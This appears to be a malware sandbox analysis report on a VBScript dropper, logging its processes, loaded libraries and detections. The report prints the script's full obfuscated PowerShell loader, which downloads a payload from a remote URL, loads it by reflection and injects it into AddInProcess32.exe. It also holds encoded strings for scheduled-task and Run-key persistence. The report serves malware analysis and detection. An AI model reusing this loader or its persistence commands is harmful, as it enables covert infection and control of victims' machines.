'OMBKFEUb53tutFKThka2RGNcYYs2ulk8vTmyCrog7l2O3RwQrlh7A68ld4FrbO79G2CKqjyugPHEhll9y0oYUUDtEgxS/TTrkLgr6rRgAN2mhGi60VpovjK8PwCaB96INC5Lx0Q4jjRqRoQeEkRN7oznCcSH9S5hIMTzAM601+jMg5rlddA8BQMrDFUNBsPal7E/enYJ1/DgMtNAs1llUG1fx07mT718iBKCPA0UgDugyF0YNnGWXsx6L48azkMWu3ZZPlPZ8mcepI3lvx3TMpghQf8HEa4/yjrpt9Y9YDk=', 'QeDFFI8c8r5XtEVKt+FKF+pYH/R3f3A4ggcEqRejLKuJbBibHNyZwxQQVrrNKwTawmAb185vWUyXXJUI+NLTpg=='
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, NormalStartup.cs	Base64 encoded string: 'L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g', 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=='

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@8/7@2/3

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6412:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Dggx_gg

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3v0lstm.sb5.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: vr65co3Boo.vbs	Virustotal: Detection: 9%
Source: vr65co3Boo.vbs	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msvfw32.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCc", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

